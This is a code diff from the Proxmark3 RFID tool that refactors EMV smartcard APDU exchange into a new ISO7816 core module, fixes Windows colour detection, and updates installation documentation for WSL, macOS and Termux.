return EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x00, 0x88, 0x00, 0x00, DDOLLen, DDOL}, true, Result, MaxResultLen, ResultLen, sw, tlv); return EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x00, 0x88, 0x00, 0x00, DDOLLen, DDOL}, true, Result, MaxResultLen, ResultLen, sw, tlv);
} }
int MSCComputeCryptoChecksum(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *UDOL, uint8_t UDOLlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { int MSCComputeCryptoChecksum(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *UDOL, uint8_t UDOLlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) {
int res = EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x80, 0x2a, 0x8e, 0x80, UDOLlen, UDOL}, true, Result, MaxResultLen, ResultLen, sw, tlv); int res = EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x80, 0x2a, 0x8e, 0x80, UDOLlen, UDOL}, true, Result, MaxResultLen, ResultLen, sw, tlv);
if (*sw == 0x6700 || *sw == 0x6f00) { if (*sw == 0x6700 || *sw == 0x6f00) {
PrintAndLogEx(INFO, ">>> trying to reissue command without Le..."); PrintAndLogEx(INFO, ">>> trying to reissue command without Le...");
@ -725,7 +662,7 @@ int trSDA(struct tlvdb *tlv) {
static const unsigned char default_ddol_value[] = {0x9f, 0x37, 0x04}; static const unsigned char default_ddol_value[] = {0x9f, 0x37, 0x04};
static struct tlv default_ddol_tlv = {.tag = 0x9f49, .len = 3, .value = default_ddol_value }; static struct tlv default_ddol_tlv = {.tag = 0x9f49, .len = 3, .value = default_ddol_value };
int trDDA(EMVCommandChannel channel, bool decodeTLV, struct tlvdb *tlv) { int trDDA(Iso7816CommandChannel channel, bool decodeTLV, struct tlvdb *tlv) {
uint8_t buf[APDU_RES_LEN] = {0}; uint8_t buf[APDU_RES_LEN] = {0};
size_t len = 0; size_t len = 0;
uint16_t sw = 0; uint16_t sw = 0;

View file

@ -16,17 +16,10 @@
#include <inttypes.h> #include <inttypes.h>
#include <jansson.h> #include <jansson.h>
#include "apduinfo.h" #include "iso7816/apduinfo.h"
#include "iso7816/iso7816core.h"
#include "emv_pki.h" #include "emv_pki.h"
#define APDU_RES_LEN 260
#define APDU_AID_LEN 50
typedef enum {
ECC_CONTACTLESS,
ECC_CONTACT
} EMVCommandChannel;
enum TransactionType { enum TransactionType {
TT_MSD, TT_MSD,
TT_VSDC, // contact only. not standard for contactless TT_VSDC, // contact only. not standard for contactless
@ -56,39 +49,32 @@ void TLVPrintAIDlistFromSelectTLV(struct tlvdb *tlv);
struct tlvdb *GetPANFromTrack2(const struct tlv *track2); struct tlvdb *GetPANFromTrack2(const struct tlv *track2);
struct tlvdb *GetdCVVRawFromTrack2(const struct tlv *track2); struct tlvdb *GetdCVVRawFromTrack2(const struct tlv *track2);
void SetAPDULogging(bool logging);
bool GetAPDULogging(void);
// exchange // exchange
int EMVExchange(EMVCommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); int EMVExchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
// search application // search application
int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, bool decodeTLV, struct tlvdb *tlv); int EMVSearchPSE(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, bool decodeTLV, struct tlvdb *tlv);
int EMVSearch(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, bool decodeTLV, struct tlvdb *tlv); int EMVSearch(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, bool decodeTLV, struct tlvdb *tlv);
int EMVSelectPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int EMVSelectPSE(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
int EMVSelect(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); int EMVSelect(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
// select application // select application
int EMVSelectApplication(struct tlvdb *tlv, uint8_t *AID, size_t *AIDlen); int EMVSelectApplication(struct tlvdb *tlv, uint8_t *AID, size_t *AIDlen);
// Get Processing Options // Get Processing Options
int EMVGPO(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *PDOL, size_t PDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); int EMVGPO(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *PDOL, size_t PDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
int EMVReadRecord(EMVCommandChannel channel, bool LeaveFieldON, uint8_t SFI, uint8_t SFIrec, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); int EMVReadRecord(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t SFI, uint8_t SFIrec, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
// AC // AC
int EMVGenerateChallenge(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); int EMVGenerateChallenge(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
int EMVAC(EMVCommandChannel channel, bool LeaveFieldON, uint8_t RefControl, uint8_t *CDOL, size_t CDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); int EMVAC(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t RefControl, uint8_t *CDOL, size_t CDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
// DDA // DDA
int EMVInternalAuthenticate(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *DDOL, size_t DDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); int EMVInternalAuthenticate(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *DDOL, size_t DDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
// Mastercard // Mastercard
int MSCComputeCryptoChecksum(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *UDOL, uint8_t UDOLlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); int MSCComputeCryptoChecksum(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *UDOL, uint8_t UDOLlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv);
// Auth // Auth
int trSDA(struct tlvdb *tlv); int trSDA(struct tlvdb *tlv);
int trDDA(EMVCommandChannel channel, bool decodeTLV, struct tlvdb *tlv); int trDDA(Iso7816CommandChannel channel, bool decodeTLV, struct tlvdb *tlv);
int trCDA(struct tlvdb *tlv, struct tlvdb *ac_tlv, struct tlv *pdol_data_tlv, struct tlv *ac_data_tlv); int trCDA(struct tlvdb *tlv, struct tlvdb *ac_tlv, struct tlv *pdol_data_tlv, struct tlv *ac_data_tlv);
int RecoveryCertificates(struct tlvdb *tlvRoot, json_t *root); int RecoveryCertificates(struct tlvdb *tlvRoot, json_t *root);
struct emv_pk *get_ca_pk(struct tlvdb *db); struct emv_pk *get_ca_pk(struct tlvdb *db);
#endif #endif

View file

@ -14,7 +14,7 @@
#include "commonutil.h" // ARRAYLEN #include "commonutil.h" // ARRAYLEN
#include "emv/emvcore.h" #include "iso7816/iso7816core.h"
#include "emv/emvjson.h" #include "emv/emvjson.h"
#include "cbortools.h" #include "cbortools.h"
#include "x509_crt.h" #include "x509_crt.h"
@ -172,17 +172,17 @@ const char *fido2GetCmdMemberDescription(uint8_t cmdCode, bool isResponse, int m
int FIDOSelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { int FIDOSelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
uint8_t data[] = {0xA0, 0x00, 0x00, 0x06, 0x47, 0x2F, 0x00, 0x01}; uint8_t data[] = {0xA0, 0x00, 0x00, 0x06, 0x47, 0x2F, 0x00, 0x01};
return EMVSelect(ECC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw, NULL); return Iso7816Select(CC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw);
} }
int FIDOExchange(sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { int FIDOExchange(sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
int res = EMVExchange(ECC_CONTACTLESS, true, apdu, Result, MaxResultLen, ResultLen, sw, NULL); int res = Iso7816Exchange(CC_CONTACTLESS, true, apdu, Result, MaxResultLen, ResultLen, sw);
if (res == 5) // apdu result (sw) not a 0x9000 if (res == 5) // apdu result (sw) not a 0x9000
res = 0; res = 0;
// software chaining // software chaining
while (!res && (*sw >> 8) == 0x61) { while (!res && (*sw >> 8) == 0x61) {
size_t oldlen = *ResultLen; size_t oldlen = *ResultLen;
res = EMVExchange(ECC_CONTACTLESS, true, (sAPDU) {0x00, 0xC0, 0x00, 0x00, 0x00, NULL}, &Result[oldlen], MaxResultLen - oldlen, ResultLen, sw, NULL); res = Iso7816Exchange(CC_CONTACTLESS, true, (sAPDU) {0x00, 0xC0, 0x00, 0x00, 0x00, NULL}, &Result[oldlen], MaxResultLen - oldlen, ResultLen, sw);
if (res == 5) // apdu result (sw) not a 0x9000 if (res == 5) // apdu result (sw) not a 0x9000
res = 0; res = 0;

View file

@ -15,7 +15,7 @@
#include "common.h" #include "common.h"
#include <jansson.h> #include <jansson.h>
#include "emv/apduinfo.h" // sAPDU #include "iso7816/apduinfo.h" // sAPDU
typedef enum { typedef enum {
fido2CmdMakeCredential = 0x01, fido2CmdMakeCredential = 0x01,

View file

@ -0,0 +1,167 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2017 Merlok
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// ISO7816 core functions
//-----------------------------------------------------------------------------
#include "iso7816core.h"
#include <string.h>
#include "commonutil.h" // ARRAYLEN
#include "comms.h" // DropField
#include "cmdparser.h"
#include "cmdsmartcard.h" // ExchangeAPDUSC
#include "ui.h"
#include "cmdhf14a.h"
#include "cmdhf14b.h"
#include "iso14b.h" // iso14b_raw_cmd_t
#include "util_posix.h"
//iceman: this logging setting, should be unified with client debug etc.
static bool APDULogging = false;
void SetAPDULogging(bool logging) {
APDULogging = logging;
}
bool GetAPDULogging(void) {
return APDULogging;
}
static isodep_state_t isodep_state = ISODEP_INACTIVE;
void SetISODEPState(isodep_state_t state) {
isodep_state = state;
if (APDULogging) {
PrintAndLogEx(SUCCESS, ">>>> ISODEP -> %s%s%s", isodep_state == ISODEP_INACTIVE ? "inactive" : "", isodep_state == ISODEP_NFCA ? "NFC-A" : "", isodep_state == ISODEP_NFCB ? "NFC-B" : "");
}
}
isodep_state_t GetISODEPState(void) {
return isodep_state;
}
int Iso7816Connect(Iso7816CommandChannel channel) {
if (channel == CC_CONTACT) {
return PM3_ENOTIMPL;
}
// Try to 14a
// select with no disconnect and set frameLength
int selres = SelectCard14443A_4(false, NULL);
if (selres == PM3_SUCCESS) {
SetISODEPState(ISODEP_NFCA);
return PM3_SUCCESS;
}
PrintAndLogEx(DEBUG, "No 14a tag spotted, trying 14b");
// If not 14a, try to 14b
selres = select_card_14443b_4(false, NULL);
if (selres == PM3_SUCCESS) {
SetISODEPState(ISODEP_NFCB);
return PM3_SUCCESS;
}
PrintAndLogEx(DEBUG, "No 14b tag spotted, failed to find any tag.");
return selres;
}
int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool includeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
uint8_t data[APDU_RES_LEN] = {0};
*ResultLen = 0;
if (sw) *sw = 0;
uint16_t isw = 0;
int res = 0;
if (ActivateField) {
DropFieldEx(channel);
msleep(50);
}
// COMPUTE APDU
int datalen = 0;
if (includeLe) {
if (Le == 0) {
Le = 0x100;
}
} else {
Le = 0;
}
if (APDUEncodeS(&apdu, false, Le, data, &datalen)) {
PrintAndLogEx(ERR, "APDU encoding error.");
return 201;
}
if (APDULogging)
PrintAndLogEx(SUCCESS, ">>>> %s", sprint_hex(data, datalen));
switch (channel) {
case CC_CONTACTLESS:
switch (GetISODEPState()) {
case ISODEP_NFCA:
res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen);
break;
case ISODEP_NFCB:
res = exchange_14b_apdu(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen, 4000);
break;
case ISODEP_INACTIVE:
if (! ActivateField) {
PrintAndLogEx(FAILED, "Field currently inactive, cannot send an APDU");
return PM3_EIO;
}
res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen);
if (res != PM3_SUCCESS) {
res = exchange_14b_apdu(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen, 4000);
}
break;
}
if (res != PM3_SUCCESS) {
return res;
}
break;
case CC_CONTACT:
res = 1;
if (IfPm3Smartcard())
res = ExchangeAPDUSC(false, data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen);
if (res) {
return res;
}
break;
}
if (APDULogging)
PrintAndLogEx(SUCCESS, "<<<< %s", sprint_hex(Result, *ResultLen));
if (*ResultLen < 2) {
return 200;
}
*ResultLen -= 2;
isw = Result[*ResultLen] * 0x0100 + Result[*ResultLen + 1];
if (sw)
*sw = isw;
if (isw != 0x9000) {
if (APDULogging) {
if (*sw >> 8 == 0x61) {
PrintAndLogEx(ERR, "APDU chaining len:%02x -->", *sw & 0xff);
} else {
PrintAndLogEx(ERR, "APDU(%02x%02x) ERROR: [%4X] %s", apdu.CLA, apdu.INS, isw, GetAPDUCodeDescription(*sw >> 8, *sw & 0xff));
return 5;
}
}
}
return PM3_SUCCESS;
}
int Iso7816Exchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
return Iso7816ExchangeEx(channel, false, LeaveFieldON, apdu, false, 0, Result, MaxResultLen, ResultLen, sw);
}
int Iso7816Select(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) {
return Iso7816ExchangeEx(channel, ActivateField, LeaveFieldON, (sAPDU) {0x00, 0xa4, 0x04, 0x00, AIDLen, AID}, (channel == CC_CONTACTLESS), 0, Result, MaxResultLen, ResultLen, sw);
}

View file

@ -0,0 +1,49 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2017 Merlok
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// ISO7816 core functionality
//-----------------------------------------------------------------------------
#ifndef ISO7816CORE_H__
#define ISO7816CORE_H__
#include "common.h"
#include <inttypes.h>
#include "apduinfo.h"
#define APDU_RES_LEN 260
#define APDU_AID_LEN 50
typedef enum {
ISODEP_INACTIVE = 0,
ISODEP_NFCA,
ISODEP_NFCB,
} isodep_state_t;
typedef enum {
CC_CONTACTLESS,
CC_CONTACT
} Iso7816CommandChannel;
void SetAPDULogging(bool logging);
bool GetAPDULogging(void);
void SetISODEPState(isodep_state_t state);
isodep_state_t GetISODEPState(void);
// connect
int Iso7816Connect(Iso7816CommandChannel channel);
// exchange
int Iso7816Exchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
int Iso7816ExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
// search application
int Iso7816Select(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
#endif

View file

@ -171,6 +171,30 @@ static void terminate_handler(int signum) {
#endif #endif
#if defined(_WIN32)
static bool DetectWindowsAnsiSupport(void) {
#ifndef ENABLE_VIRTUAL_TERMINAL_PROCESSING
#define ENABLE_VIRTUAL_TERMINAL_PROCESSING 0x0004
#endif
// disable colors if stdin or stdout are redirected
if ((! session.stdinOnTTY) || (! session.stdoutOnTTY))
return false;
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
DWORD dwMode = 0;
GetConsoleMode(hOut, &dwMode);
//ENABLE_VIRTUAL_TERMINAL_PROCESSING is already set
if ((dwMode & ENABLE_VIRTUAL_TERMINAL_PROCESSING))
return true;
dwMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING;
return SetConsoleMode(hOut, dwMode) ? true : false;
}
#endif //_WIN32
// first slot is always NULL, indicating absence of script when idx=0 // first slot is always NULL, indicating absence of script when idx=0
static FILE *cmdscriptfile[MAX_NESTED_CMDSCRIPT + 1] = {0}; static FILE *cmdscriptfile[MAX_NESTED_CMDSCRIPT + 1] = {0};
static uint8_t cmdscriptfile_idx = 0; static uint8_t cmdscriptfile_idx = 0;
@ -360,6 +384,10 @@ check_script:
g_pendingPrompt = true; g_pendingPrompt = true;
#ifdef HAVE_READLINE #ifdef HAVE_READLINE
script_cmd = readline(prompt_filtered); script_cmd = readline(prompt_filtered);
#if defined(_WIN32)
//Check if color support needs to be enabled again in case the window buffer did change
session.supports_colors = DetectWindowsAnsiSupport();
#endif
if (script_cmd != NULL) { if (script_cmd != NULL) {
execCommand = true; execCommand = true;
stayInCommandLoop = true; stayInCommandLoop = true;
@ -705,21 +733,6 @@ finish2:
} }
#endif //LIBPM3 #endif //LIBPM3
#if defined(_WIN32)
static bool DetectWindowsAnsiSupport(void) {
#ifndef ENABLE_VIRTUAL_TERMINAL_PROCESSING
#define ENABLE_VIRTUAL_TERMINAL_PROCESSING 0x0004
#endif
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
DWORD dwMode = 0;
GetConsoleMode(hOut, &dwMode);
dwMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING;
return SetConsoleMode(hOut, dwMode) ? true : false;
}
#endif //_WIN32
void pm3_init(void) { void pm3_init(void) {
srand(time(0)); srand(time(0));
@ -783,6 +796,9 @@ int main(int argc, char *argv[]) {
#if defined(__linux__) || defined(__APPLE__) #if defined(__linux__) || defined(__APPLE__)
session.supports_colors = true; session.supports_colors = true;
session.emoji_mode = EMO_EMOJI; session.emoji_mode = EMO_EMOJI;
#elif defined(_WIN32)
session.supports_colors = DetectWindowsAnsiSupport();
session.emoji_mode = EMO_ALTTEXT;
#endif #endif
} }
for (int i = 1; i < argc; i++) { for (int i = 1; i < argc; i++) {
@ -996,11 +1012,6 @@ int main(int argc, char *argv[]) {
session.emoji_mode = EMO_ALTTEXT; session.emoji_mode = EMO_ALTTEXT;
} }
#if defined(_WIN32) //Color support on Windows has to be enabled each time and can fail, override prefs
session.supports_colors = DetectWindowsAnsiSupport();
session.emoji_mode = EMO_ALTTEXT;
#endif
// Let's take a baudrate ok for real UART, USB-CDC & BT don't use that info anyway // Let's take a baudrate ok for real UART, USB-CDC & BT don't use that info anyway
if (speed == 0) if (speed == 0)
speed = USART_BAUD_RATE; speed = USART_BAUD_RATE;

9185
doc/commands.json Normal file

File diff suppressed because it is too large Load diff

View file

@ -234,6 +234,21 @@ Check column "offline" for their availability.
|`hf 15 csetuid `|N |`Set UID for magic card` |`hf 15 csetuid `|N |`Set UID for magic card`
### hf cipurse
{ Cipurse transport Cards... }
|command |offline |description
|------- |------- |-----------
|`hf cipurse help `|Y |`This help.`
|`hf cipurse info `|N |`Info about Cipurse tag.`
|`hf cipurse auth `|N |`Authentication.`
|`hf cipurse read `|N |`Read binary file.`
|`hf cipurse write `|N |`Write binary file.`
|`hf cipurse aread `|N |`Read file attributes.`
|`hf cipurse delete `|N |`Delete file.`
### hf epa ### hf epa
{ German Identification Card... } { German Identification Card... }

View file

@ -18,11 +18,15 @@ Visual Studio Code still runs under Rosetta 2 and if you're developing for proxm
## Install Proxmark3 tools ## Install Proxmark3 tools
These instructions comes from @Chrisfu, where we got the proxmark3.rb scriptfile from. These instructions comes from \@Chrisfu, where we got the proxmark3.rb scriptfile from.
For further questions about Mac & Homebrew, contact @Chrisfu (https://github.com/chrisfu/) For further questions about Mac & Homebrew, contact [\@Chrisfu on Twitter](https://github.com/chrisfu/)
0. Install XCode Command Line Tools if you haven't yet already done so: `xcode-select --install`
1. Install homebrew if you haven't yet already done so: http://brew.sh/ 1. Install homebrew if you haven't yet already done so: http://brew.sh/
2. Install xquartz: `brew install xquartz`
2. Tap this repo: `brew tap RfidResearchGroup/proxmark3` 2. Tap this repo: `brew tap RfidResearchGroup/proxmark3`
3. Install Proxmark3: 3. Install Proxmark3:

View file

@ -175,7 +175,7 @@ When ```explorer.exe .``` doesn't work.
Trying to access the dump files created in WSL, you will need to run ```explorer.exe .``` but sometimes this doesn't work. Trying to access the dump files created in WSL, you will need to run ```explorer.exe .``` but sometimes this doesn't work.
[As seen here](https://github.com/microsoft/WSL/issues/4027) they suggest checking the following registry value for *P9NP* [As seen here](https://github.com/microsoft/WSL/issues/4027) they suggest checking the following registry value for *P9NP*
[<img src="http://www.icedev.se/proxmark3/rdv40/wsl2_p9np.png">](www.icedev.se/proxmark3/rdv40/wsl2_p9np.png) [![screenshot of regedit](/doc/md/Installation_Instructions/wsl2_p9np.png)](/doc/md/Installation_Instructions/wsl2_p9np.png)
## Troubles with running the Proxmark3 client ## Troubles with running the Proxmark3 client
Some reports has stated that they needed to execute the Proxmark3 as root on their *nix system. Some reports has stated that they needed to execute the Proxmark3 as root on their *nix system.
@ -228,7 +228,9 @@ If you get the message
``` ```
Qt: Session management error: None of the authentication protocols specified are supported Qt: Session management error: None of the authentication protocols specified are supported
``` when running the Proxmark3 client it might be because a a environment variable. ```
when running the Proxmark3 client it might be because a a environment variable.
Solution: Solution:
Try running the client without the SESSION_MANAGER environment variable. Try running the client without the SESSION_MANAGER environment variable.

View file

@ -21,7 +21,7 @@ We have listed three ways to use these two setups (dev environment vs pre-compi
## Video Installation guide ## Video Installation guide
_note: this video is a bit out-of-date but still informative_ _note: this video is a bit out-of-date but still informative_
[![Windows Installation tutorial](https://github.com/5w0rdfish/Proxmark3-RDV4-ParrotOS/blob/master/screenshot-www.youtube.com-2019.03.17-20-44-33.png)](https://youtu.be/zzF0NCMJnYU "Windows Installation Tutorial") [![Windows Installation tutorial](https://raw.githubusercontent.com/Chrissy-Morgan/Proxmark3-RDV4-ParrotOS/master/screenshot-www.youtube.com-2019.03.17-20-44-33.png)](https://youtu.be/zzF0NCMJnYU "Windows Installation Tutorial")
## Driver Installation ( Windows 7 ) ## Driver Installation ( Windows 7 )
@ -92,10 +92,10 @@ to be done (tcprst)
WSL 1 requires to run on Windows 10 version 1709 or above. Previous windows versions didn't have support for COM ports. WSL 1 requires to run on Windows 10 version 1709 or above. Previous windows versions didn't have support for COM ports.
### stay away from WSL 2 ### Stay away from WSL 2
*Microsoft introduced WSL 2 starting on Windows 10 version 2004 with Hyper-V powering its virtualization; As of 2020-08-13, WSL 2 does not support USB and Serial.* *Microsoft introduced WSL 2 starting on Windows 10 version 2004 with Hyper-V powering its virtualization; As of 2020-08-13, WSL 2 does not support USB and Serial.*
### ### More about WSL
Install WSL 1 with e.g. the standard Ubuntu. You can follow the guide on [Microsoft Docs](https://docs.microsoft.com/en-us/windows/wsl/install-win10) but be careful to follow WSL 1 specific instructions! When they recommend you to restart, you must restart. Install WSL 1 with e.g. the standard Ubuntu. You can follow the guide on [Microsoft Docs](https://docs.microsoft.com/en-us/windows/wsl/install-win10) but be careful to follow WSL 1 specific instructions! When they recommend you to restart, you must restart.
For WSL configuration, see [Manage and configure Windows Subsystem for Linux](https://docs.microsoft.com/en-us/windows/wsl/wsl-config). For WSL configuration, see [Manage and configure Windows Subsystem for Linux](https://docs.microsoft.com/en-us/windows/wsl/wsl-config).
@ -107,23 +107,25 @@ Make sure your WSL can launch Windows processes to get the `pm3` scripts working
If you want to run the graphical components of the Proxmark3 client, you need to install a X Server such as [VcXsrv](https://sourceforge.net/projects/vcxsrv/) or [Xming](https://sourceforge.net/projects/xming/) and launch it, e.g. by executing XLaunch. If you want to run the graphical components of the Proxmark3 client, you need to install a X Server such as [VcXsrv](https://sourceforge.net/projects/vcxsrv/) or [Xming](https://sourceforge.net/projects/xming/) and launch it, e.g. by executing XLaunch.
## Window terminal Installation ## Windows Terminal Installation
Microsoft has recent released a new terminal for their OS. It is much better experience than old `cmd.exe` so we strongly recommend installing it. Microsoft has recently released a new terminal for their OS. It is much better experience than old `cmd.exe` so we strongly recommend installing it.
It is also open sourced, ref [terminal](https://github.com/microsoft/terminal). You can download and install from here: [windows terminal](https://aka.ms/terminal) It is also open sourced (see [github.com/microsoft/terminal](https://github.com/microsoft/terminal)). You can download and install from [GitHub](https://github.com/microsoft/terminal/releases/latest) or [Microsoft Store](https://www.microsoft.com/en-us/p/windows-terminal/9n0dx20hk701).
## Dependencies ## Dependencies
Enter WSL prompt (`wsl` or `start windows terminal`) and from there, follow the [Linux Installation Instructions](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md) for Ubuntu, summarized here below: Enter WSL prompt (`wsl` or Start Windows Terminal) and from there, follow the [Linux Installation Instructions](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md) for Ubuntu, summarized here below:
Make sure your WSL guest OS is up-to-date first:
Make sure your WSL guest OS is up-to-date first
```sh ```sh
sudo apt-get update sudo apt-get update
sudo apt-get upgrade -y sudo apt-get upgrade -y
sudo apt-get auto-remove -y sudo apt-get auto-remove -y
``` ```
Install dependencies Install dependencies:
```sh ```sh
sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \ sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \
libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev qtbase5-dev libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev qtbase5-dev
@ -158,13 +160,13 @@ If group ownership is `dialout` and your user is member of `dialout` group, all
sudo chmod 666 /dev/ttySX sudo chmod 666 /dev/ttySX
``` ```
If you installed a X Server and compiled the Proxmark3 with QT4 support, you've to export the `DISPLAY` environment variable: If you installed an X Server and compiled the Proxmark3 with QT5 support, you've to export the `DISPLAY` environment variable:
```sh ```sh
export DISPLAY=:0 export DISPLAY=:0
``` ```
and add it to your Bash profile for the next times: And add it to your Bash (or your preferred shell) profile for the next times:
```sh ```sh
echo "export DISPLAY=:0" >> ~/.bashrc echo "export DISPLAY=:0" >> ~/.bashrc

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

View file

@ -85,13 +85,18 @@ ref : https://github.com/Proxmark/proxmark3/wiki/android
Install [Termux](https://play.google.com/store/apps/details?id=com.termux) and start it Install [Termux](https://play.google.com/store/apps/details?id=com.termux) and start it
### Install Proxmark3 package ### Install Proxmark3 package which follows tagged releases
^[Top](#top) ^[Top](#top)
Run the following commands: Run the following commands:
``` ```
pkg install proxmark3 pkg install proxmark3
``` ```
### Install Proxmark3 package which offers a more up to date version from git `master` branch
Run the following commands:
```
pkg install proxmark3-git
```
### Optional: Building Proxmark3 client from source ### Optional: Building Proxmark3 client from source
``` ```
pkg install make clang clang++ readline libc++ git pkg install make clang clang++ readline libc++ git

43
pm3
View file

@ -257,25 +257,20 @@ Description:
* the correct port name will be automatically guessed; * the correct port name will be automatically guessed;
* the script will wait for a Proxmark to be connected (same as option -w of the client). * the script will wait for a Proxmark to be connected (same as option -w of the client).
You can also specify a first option -n N to access the Nth Proxmark3 connected. You can also specify a first option -n N to access the Nth Proxmark3 connected.
Don't use this script if you want to work offline.
To see a list of available ports, use --list. To see a list of available ports, use --list.
Usage: Usage:
$SCRIPT [-n <N>] [-f] [-c <command>]|[-l <lua_script_file>]|[-s <cmd_script_file>] [-i] $SCRIPT [-n <N>] [<any other proxmark3 client option>]
